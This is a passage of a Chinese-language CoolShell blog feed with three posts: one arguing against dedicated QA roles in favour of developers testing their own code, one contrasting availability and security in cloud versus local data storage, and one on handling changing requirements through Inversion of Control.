Amazon都有这样的职位。但我不知道这样的职位在微软和Google的比例是多少，在Amazon是非常少的。那么像这样的懂开发的专职测试可以有吗？我的答案是可以有！但是，我在想，<strong>如果一个人懂开发，为什么只让其专职做测试呢？这样的程序员分工合理吗？把程序员分成两等公民有意义吗？试问有多少懂开发的程序员愿意只做测试开发呢？</strong>所以，SDET在实际的操作中，更多的还是对开发不熟的测试人员。还是哪句话，不懂开发的人是做不好测试的。</li>\n</ul>\n<ul>\n<li><strong>如果你说Dev对测试不专业，不细心，不认真</strong>，那么我们同样也无法保证QA的专业，细心和认真。在Dev上可能出现的问题，在QA也也会一样出现。而出了问题QA不会来加班解决，还是开发人员自己解决。所以，如果QA不用来解决问题，那么，QA怎么可能真正的细心和认真呢？</li>\n</ul>\n<ul>\n<li><strong>如果你说不要QA的话，Dev人手会不够</strong>。你这样想一下，如果把你团队中现有的QA全部变成Dev，然后，大家一起开发，一起测试，亲密无间，沟通方便，你会不会觉得这样会更有效？你有没有发现，在重大问题上，Dev可以帮上QA的忙，但是QA帮不上Dev的忙。</li>\n</ul>\n<ul>\n<li><strong>第三方中立，你会说人总是测不好自己写的东西，因为有思维定式</strong>。没错，我同意。但是如果是Dev交叉测试呢？你可能会说开发人员会有开发人员的思维定式。那这只能说明开发人员还不成熟，他们还不合格。没关系，只要吃自己的狗食，痛苦了，就会负责的。</li>\n</ul>\n<ul>\n<li><strong>磨刀不误砍柴功</strong>。如果你开发的东西自己在用，那么自己就是自己天然的QA，如果有别的团队也在用你开发的模块，那么，别的团队也就很自然地在帮你做测试了，而且是最真实的测试。</li>\n</ul>\n<ul>\n<li><strong>你可能会说吃狗食就是个笑话，因为如果是我，我把事干烂后，就离职走人了，让别人去吃我的狗食</strong>。这个在现实中的确会发生，也是很现实的。但是想一想，你为什么在一开始让他把事干烂了？另外，如果你的团队在设计评审和代码评审里没有把好关，让某人把事给干烂了，那么这个人的离职带来的问题还是这个团队来扛，于是整个团队都在吃自己的狗食，挺公平的。痛苦过一次，你的团队下次怎么干了，就不敢乱招人了，就不敢随意评审代码了，就不敢让人只做一块东西了。最终还是没有逃脱吃狗食的范畴。</li>\n</ul>\n<ul>\n<li><strong>关于系统集成测试。</strong>所谓集成测试，就是把多个开发团队开发的模块集中起来测试。因为开发人员可能无法看到全局，不了解别个团队的系统，而且步调不一，所以需要有统管全局的专职的QA进行统筹规划并做测试。对这个方面，我并不反对，在实际操作过程中，好像的确用专职的做集成测试的QA统一调度各团队的时度更有效一些。不过，这还是不能让我停止去思考两个问题，1) 如果开发人员看不到全局，他能开发出更好的软件吗？2）这个全职的做集成测试的QA难道不能是各个团队的骨干Dev来组成吗？3）统一调度这个事，不更像是Project Manager要做的事吗？</li>\n</ul>\n<ul>\n<li><strong>关于自动化测试</strong>。所谓自动化的意思是，这是一个机械的重复劳动。我想让测试人员思考一下，你是否在干这样的事？如果你正在干这样的事，那么，你要思考一下你的价值了。但凡是重复性比较高的机械性的劳动，总有一天都会被机器取代的。</li>\n</ul>\n<ul>\n<li><strong>关于线上测试</strong>。我们都知道，无论自己内测的怎么样，到了用户那边，总是会有一些测试不到的东西。所以，有些公司会整出个UAT，用户验收测试。做产品的公司会叫Beta测试。无论怎么样，你总是要上生产线做真正测试的。对于互联网企业来说，生产线上测试有的在玩A/B测试，有的玩部分用户测试，比如，新上线的功能只有10%的用户可以访问得到，这样不会因为出问题让全部用户受到影响。做这种测试系统的人必然是开发人员。</li>\n</ul>\n<p>好吧，我暂时写这么多，我会视大家的讨论再补充我的观点的。</p>\n<p><em><strong>&#8212;&#8211; update  2012/4/11&#8212;&#8211;</strong></em></p>\n<p>一些人觉得我是在泄私愤，我能够理解为什么我会被这样误解，但是没有关系，很多新东西新观点总是会被误解的，我坦然面对。请大家抛开我的这些情感因素，单纯的思考一下，没有专职QA的的团队架构是否有积极的意义在里面？</p>\n<p><strong>再补充一点，大家思考一下，QA是保证质量的，但是很多QA是在做测试，软件质量是测试出来的吗？如果不从需求分析，软件设计，代码实现上做好控制，到测试的时候你还怎么保证质量呢？</strong></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6994.html\">我们需要专职的QA吗？</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/6994.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>274</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>谈谈数据安全和云存储</title>\n\t\t<link>https://coolshell.cn/articles/6976.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/6976.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Mon, 09 Apr 2012 00:33:22 +0000</pubDate>\n\t\t\t\t<category><![CDATA[业界新闻]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[网络安全]]></category>\n\t\t<category><![CDATA[Cloud]]></category>\n\t\t<category><![CDATA[安全]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=6976</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>前些天，创新工场李开复同学在2012博鳌亚洲论坛表示： “你们有多少人丢过手机？大概有15%。你们有多少人数据放在微软掉过的？我想不见得很多吧。所以相对来说是安...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/6976.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/6976.html\">谈谈数据安全和云存储</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>前些天，创新工场李开复同学<a title=\"李开复：数据存在大公司比身边安全 不信问陈冠希\" href=\"http://weibo.com/1197161814/ycNUWw7hz\" target=\"_blank\">在2012博鳌亚洲论坛表示</a>：</p>\n<blockquote><p>“你们有多少人丢过手机？大概有15%。你们有多少人数据放在微软掉过的？我想不见得很多吧。所以相对来说是安全的。<strong>放在大公司里比自己拿着掉的概率更大，你不相信的话，可以问陈冠希先生。</strong>”</p></blockquote>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://ww4.sinaimg.cn/bmiddle/61e04755jw1drlo96bsktj.jpg\" width=\"440\" /></p>\n<h4>两种安全</h4>\n<p>看到这个消息的时候，我觉得李开复同学混淆了云存储和安全这两个概念，在英文里，有两个单词，<strong>一个是Safety，一个是Security，很不幸的是，这两个英文单词翻译成中文都叫“安全”</strong>，因此总是被混淆，熟知英文又熟悉IT业的李开复同学在这个句子中混淆了这“两种安全”，我在<a href=\"http://weibo.com/haoel\" target=\"_blank\">我的微博</a>上指出来后，居然还有很多网友继续混淆这两点，所以，这让我产生了写篇博文的说明一下，并顺着说说云存储和数据安全的个人理解。</p>\n<p><span id=\"more-6976\"></span></p>\n<ul>\n<li><strong>所谓Safety，也就是数据不丢失的意思。</strong>这是目前云存储解决的问题，你可以把你的数据放在云端，你的所有的终端设备都可以通过云端来共享同步你的数据，这样，<strong>云端就成了你数据同步和备份的数据中枢</strong>。<strong>说得专业一点，这又叫Availability</strong>，中文叫可用性，意思是，你的数据总是可用的，基本不会丢失 ，</li>\n</ul>\n<ul>\n<li><strong>所谓Security，也就是数据的隐私和不泄露</strong>。这就是德艺双馨的陈冠希老师的痛，因为本来隐私和机密的数据被泄露出去了。就目前而言，我看到的云存储解决的都是Availability，而不是Security。Security解决的是私密和不泄露的问题。所以，李开复同学要让陈冠希老师把他的那些数据存到云端是可笑的，<strong>对于那些私密照片，我相信陈冠希老师要求的是“Security”，而不是“Availability”</strong>。</li>\n</ul>\n<p>有网友在我的微博上指出：&#8221;一种数据是不能丢，但是可以泄露，那可以放云端，另一种是宁可丢都不能泄露，这就不能放在云端了&#8221;。这句话可以帮你更好地理解什么是Availability和Security。</p>\n<h4>Security &#8211; 本地 vs 云端</h4>\n<p>现在的云解决的更多的是不丢失，而不是不泄漏。有一些网友在微博上和我争论道，其实云存储也能保证Security，因为有加密认证，云端会加密数据。我对此存有不同意见，<strong>对于Security，我个人更觉得，Security的数据应该完全私有化，所以，放在本地会有更好的Security</strong>。我的理由如下：</p>\n<ul>\n<li>先问你自己一个问题，无论是不是大公司的云服务，你敢把你的银行帐号和口令存在云端吗？你的银行帐号和口令你可能都不敢放在你的电脑里。因为你要找到一个完全绝对只有你能访问的地方。比如说你的大脑。</li>\n</ul>\n<ul>\n<li>云端的认证和云端的数据加密有用吗？没有用的，因为我只要破解了这个用户口令，想想你的电脑成了肉鸡，你网盘的口令都不要，你云端的数据一下都成了浮云了。想想去年年底各大网站的口令泄露吧。</li>\n</ul>\n<ul>\n<li>数据存放在本地的移动硬盘上时，只有你的电脑同时插着USB链接线了上网线时，别人才有机会入侵，一旦你发现入侵，你还可以拔线。而你的数据放在云端，黑客可以全天候地入侵你的云端数据，得手后你都不知道你自己的帐号被黑了。</li>\n</ul>\n<ul>\n<li>无论是云端或是本地都防不住你的客户端被肉鸡，而云端还要面对比本地更多的风险，比如，云端无良员工，云端的代码漏洞，云端的黑客入侵，还有电邮电话诈骗，钓鱼网站，DNS劫持，政府审查，等等，等等。</li>\n</ul>\n<p>看看银行和金融行业，完全是自己的专用网络，和互联网物理隔绝，这就是为了Security。Security就必需是完全绝对的对数据的私有化。比如某些公司的电脑不能使用USB，光驱等等外设，所有内网与外网的数据交换都必需受到监控。</p>\n<p>再多说一点，其实，要黑你的云端帐号并不用很高深的技术，有调查表明，伪装成客服人员或是警察给你打个电话问你要口令，大多数人是会告诉自己的帐号和口令的。还有就是抓住人的占便宜的心理，比如：在大街上撒U盘，大多数人是会捡回去插在自己或公司的电脑上浏览里面的内容的。</p>\n<p>所以，所谓物理隔绝不单单只是网线，还有这些外设。</p>\n<h4>Availability &#8211; 本地 vs 云端</h4>\n<p>硬盘是有寿命的，如果你不间断开机，你的硬盘估计也就能支持5年左右。光盘也是有寿命，因为是塑料也会老化的，和存放的条件有关。所以，在本地看来，数据总是容易丢失的。因为我们本地的存储设备并不可靠，只是家用级的，不是工业级的。</p>\n<p>云存储可以使用RAID之类的家庭里用不到的技术来镜像数据等技术手机，从而可以保证可用性很高，所以，放在云端的数据库可用性会更高一些（当然，就像开复老师说的一样还是要大公司才靠谱）。</p>\n<p>再多说一点，现在很多云存储仅仅只是做简单的和客户端本地的数据同步，没有版本控制，这意味着，如果你本地的文件本来是好的，但是后来你的电脑中了病毒后，你本地的数据被损坏了，不幸的是，这些被损坏的数据也同步到了云端，并分发到了你所有的终端设备中，于是灾难还是一样发生。所以，不支持版本控制，或是更轻量一些的“数据快照”功能的云，其实其数据并不Safe。</p>\n<h4>家庭私有云存储</h4>\n<p>云存储，对于PC用户来说，就目前而言，最多的应用还是那些各种各样的Dropbox类的网盘应用，这些应用很好地解决了数据的——备份、同步、共享这三个问题。但是，我觉得还是有一些如下问题没有解决。</p>\n<ul>\n<li>Security问题。就是陈冠希老师的数据私密性的问题。</li>\n<li>费用问题。相对于本地的存储来说，网盘费用太高了，还是一月或一年的算，Dropbox 100GB的网盘要200USD一年，这够买两个1TB的硬盘了，而且绝对可以用超过1年以上。</li>\n<li>备份效率问题。通过网络备份，同步和共享，对于数据量大一点，效率太差了。</li>\n</ul>\n<p>我不知道大家怎么样？我现在更多的数据备份是我的一些家庭照片和视频，随着现在的数码相机的像素越来越高，一张照片的大小可以在4MB甚至10M，数据量太大了。而且，这些照片都个人的照片，不能传到网上做备份。每次在我的SD卡，PC，移动硬盘，iPad，手机上倒腾这些照片和视频的时候，总是很麻烦。（我昨晚在微博上<a href=\"http://weibo.com/1401880315/ydGN1zXGz\">做了个小调查</a>，发现很多人家里是有很多设备的，像我这样，家里有3个本，2个台式机，2个kindle，1个iPad，2个智能手机，1个高清播放机的家庭都算是比较节俭的了）</p>\n<p><strong>我觉得就目前这样的情况，个人家庭的私有云解决方案应该要出现了</strong>。也就是家庭内的数据中心解决方案，也许只需要像高清播放机那样的一个小盒子，里面可以用软件RAID两块或多块硬盘以保证数据的可用性，其还可以让你的数据在N多设备中共享，同步，备份，但你又不用担心互联网安全来担心这些数据，因为这仅仅是你的家庭局域网。</p>\n<p>因为小孩让家庭照片和视频暴增，导致我去年就在想应该有一个家庭私有网盘的东西，所以，当我前些天看到<a href=\"http://www.spacemonkey.com/\" target=\"_blank\">Space Monkey</a> （<a href=\"http://news.cnet.com/8301-19882_3-57391989-250/dropbox-rival-space-monkey-puts-cloud-in-your-house/\" target=\"_blank\">新闻报道</a>）的时候，我立马就觉得这就是我想要的东西。</p>\n<p><img decoding=\"async\" class=\"aligncenter\" alt=\"\" src=\"http://asset1.cbsistatic.com/cnwk.1d/i/tim/2012/03/07/spacemonkeyHW_270x283.JPG\" /></p>\n<p>不过，国内还没有相应的产品，有想法的同学不妨试试去做一个类似于这样的产品，动作要快，千万不要让创新工场和腾讯抢先了。;-)</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/21708.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/01/iStock-1175502114-150x150.png\" alt=\"网络数字身份认证术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21708.html\" class=\"wp_rp_title\">网络数字身份认证术</a></li><li ><a href=\"https://coolshell.cn/articles/19395.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png\" alt=\"HTTP API 认证授权术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19395.html\" class=\"wp_rp_title\">HTTP API 认证授权术</a></li><li ><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/08/enable-https-banner-150x150.png\" alt=\"如何免费的让网站启用HTTPS\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18094.html\" class=\"wp_rp_title\">如何免费的让网站启用HTTPS</a></li><li ><a href=\"https://coolshell.cn/articles/17607.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/MongoDB-150x150.jpg\" alt=\"从 MongoDB “赎金事件” 看安全问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17607.html\" class=\"wp_rp_title\">从 MongoDB “赎金事件” 看安全问题</a></li><li ><a href=\"https://coolshell.cn/articles/17066.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2015/04/phishing-1-150x150.jpg\" alt=\"关于移动端的钓鱼式攻击\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17066.html\" class=\"wp_rp_title\">关于移动端的钓鱼式攻击</a></li><li ><a href=\"https://coolshell.cn/articles/11973.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/09/bashbug-150x150.jpg\" alt=\"bash代码注入的安全漏洞\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/11973.html\" class=\"wp_rp_title\">bash代码注入的安全漏洞</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6976.html\">谈谈数据安全和云存储</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/6976.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>93</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>需求变化与IoC</title>\n\t\t<link>https://coolshell.cn/articles/6950.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/6950.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Todd]]></dc:creator>\n\t\t<pubDate>Mon, 26 Mar 2012 03:01:07 +0000</pubDate>\n\t\t\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[系统架构]]></category>\n\t\t<category><![CDATA[Design]]></category>\n\t\t<category><![CDATA[design pattern]]></category>\n\t\t<category><![CDATA[IoC]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=6950</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>【感谢 Todd投递本文 – 微博帐号：@weidagang 】 需求又变了，怎么办？ 先上一个轻松的段子： 程序员XX遭遇车祸成植物人，医生说活下来的希望只有...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/6950.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/6950.html\">需求变化与IoC</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>【<span style=\"color: #cc0000;\">感谢 Todd投递本文 – 微博帐号</span>：@<a title=\"weidagang\" onclick=\"pageTracker._trackPageview('/outgoing/weibo.com/weidagang?referer=http%3A%2F%2Fcoolshell.cn%2F');\" href=\"http://weibo.com/weidagang\" target=\"_blank\">weidagang</a> 】</p>\n<h4>需求又变了，怎么办？</h4>\n<p>先上一个轻松的段子：</p>\n<blockquote><p>程序员XX遭遇车祸成植物人，医生说活下来的希望只有万分之一，唤醒更为渺茫。可他的Lead和亲人没有放弃，他们根据XX工作如命的作风，每天都在他身边念：“XX，需求又改了，该干活了，你快来呀！”，奇迹终于发生了，XX醒来了，第一句话：“需求又改了？”。</p></blockquote>\n<p>这个段子用幽默的方式反映了需求变化是每一个程序员、架构师或项目经理都会经常遇到的问题。面对这个问题，不同的人有不同的应对之道，最近微博上有一段关于需求变化的讨论：</p>\n<blockquote><p>@假装刺猬的猪：我们在软件开发过程中，会持续碰到客户需求变更的情况。如果没有领域建模，我们单纯将问题使用直觉将问题解决，那么等到客户需求变更或者有新的需求时，就会面临一个僵硬的前设计！无法在以前的设计上持续深入的优化模型，导致需求变更无法及时深化。设计实现均滞后与变更！</p>\n<p>@高煥堂: &lt;碰到客户需求变更的情况&gt;是合理的；但&lt;领域建模&gt;不是美好的手段!!!</p>\n<p>@weidagang: 要不被客户牵着鼻子走，需要自己有很强的设计能力，<strong>反过来</strong>让客户跟着你的设计来满足你的要求。能做到这点的公司很少，但这是软件行业唯一有希望的出路。</p>\n<p>@高煥堂: &lt;这是软件行业唯一有希望的出路&gt;。 Great!!</p></blockquote>\n<p>如何应对需求变化？ @假装刺猬的猪 的答案是领域建模，并持续优化模型，适应需求的变化。@高煥堂 则认为领域建模不是美好的手段。我进一步补充，应该<strong>“反过来”</strong>让自己在需求变化中处于主导地位，而不是被动地适应。</p>\n<p><span id=\"more-6950\"></span></p>\n<h4>控制反转 (IoC)</h4>\n<p>什么样就算是“反过来”了呢？举个例子：</p>\n<blockquote><p>用户想购买一台普通PC，他只想电脑能流畅运行魔兽世界，他根本不想知道什么叫主板，什么叫内存，什么叫CPU；但他不得不接受必须购买主板、CPU、内存的事实，因为PC架构是产业标准，而不是由用户定的。客户有选择的权利，但没有设计的权利，客户的需求必须在设计框架下得到满足。</p></blockquote>\n<p>这里我们要问PC架构是保护了谁的利益？显然，直接的受益者是厂商。如果没有PC架构的保护，厂商就会直接面对客户，客户说我需要功能A，我马上分析设计实现功能A；客户说我要功能B，我马上分析设计实现功能B &#8230; 有了PC架构的保护，厂商就变得更加强势，用户的一切需求都必须在PC架构下来谈。厂商可以倾听用户的声音，不断改进产品，但设计主导权永远在自己手中。我们IT行业常常用“做产品”和“做项目”的视角来区分不同的公司，但很少有人用“做设计”的视角来看。实际上，关键的问题在于设计主导权是厂商还是在客户。如果设计主导权在客户，不管是做产品、做服务还是做项目，其命运必然是疲于奔命应付客户，最后获得微薄的利润；如果设计主导权在厂商，不管做产品、做服务还是做项目都能有更多的话语权和更高的利润。</p>\n<p>当然，光有设计还不够，必须客户接受才能起到通过设计掌握主导权的作用。这一方面需要自己具有很强的设计能力，如苹果就是以设计能力著称的公司；另一方面，和其他厂商结盟壮大阵营也是一种方法，如最著名的Wintel联盟(Windows+Intel)，以及现在的日益壮大的Android阵营都属于此类。假如有厂商不遵守PC产业标准，说我的PC就没有主板，没有显卡，因为用户更不不需要这些东西；那么，它要么像苹果一样独树一帜成为一种新的标准，要么无人问津。</p>\n<p>我所谈到的“反过来”本质上就是软件设计中的控制反转 (Inversion of Control, IoC)思想。IoC是每一个初级程序员向高级进阶所需要了解的<strong>最重要</strong>的设计思想。由于Spring等开发框架的流行，知道IoC概念的程序员不在少数，但不少人对于IoC的理解仅仅停留在通过依赖注入 (Dependency Injection)实现解耦这个层面。实际上，IoC的应用不仅包括解耦，它还是框架的基本原理，在非计算机领域，IoC也是无处不在，如果你能从上面的例子中体会到IoC，这才算是融会贯通了。</p>\n<p>软件开发中一种最常见的模式是“以用户为出发点，以需求分析为核心”。该模式提倡从用户需求中分析推导出设计和实现，比如，TDD式的设计正是这类典型。而IoC式的软件设计与此截然相反，IoC的设计是一种“以愿景（自身利益是愿景的重要方面）为出发点，以架构为核心”的模式。如果用户的需求是一台电脑，我们如何能通过第一种模式分析需求推导出“主板-CPU-内存-外设”的PC架构呢？恐怕很难。IoC式的设计是以用户看不见摸不着的架构为核心，自己主导设计，用户需求是设计的约束条件和验证手段，而不是出发点和目标。我们想要掌握主动，不被需求变化搞得疲于奔命，就必须熟练使用第二种模式。</p>\n<p>我们的人生都被环境和各种客观条件所束缚，多数人只能随波逐流，听从命运的安排。你有没有想过要拥有人生的主导权呢？既然你是程序员，你懂IoC，你能否设计自己的人生框架呢？Yes，you can!<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/9949.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/07/inverted-bookshelf_thumb-150x150.jpg\" alt=\"IoC/DIP其实是一种管理思想\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9949.html\" class=\"wp_rp_title\">IoC/DIP其实是一种管理思想</a></li><li ><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/07/cache-150x150.png\" alt=\"缓存更新的套路\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_title\">缓存更新的套路</a></li><li ><a href=\"https://coolshell.cn/articles/8961.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/01/kiss-150x150.png\" alt=\"从面向对象的设计模式看软件设计\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8961.html\" class=\"wp_rp_title\">从面向对象的设计模式看软件设计</a></li><li ><a href=\"https://coolshell.cn/articles/7236.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/05/Bannière-Unix-linux-150x150.jpg\" alt=\"用Unix的设计思想来应对多变的需求\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7236.html\" class=\"wp_rp_title\">用Unix的设计思想来应对多变的需求</a></li><li ><a href=\"https://coolshell.cn/articles/21672.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png\" alt=\"我做系统架构的一些原则\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21672.html\" class=\"wp_rp_title\">我做系统架构的一些原则</a></li><li ><a href=\"https://coolshell.cn/articles/21263.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/12/go.k8s-150x150.png\" alt=\"Go 编程模式：k8s Visitor 模式\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21263.html\" class=\"wp_rp_title\">Go 编程模式：k8s Visitor 模式</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/6950.html\">需求变化与IoC</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - 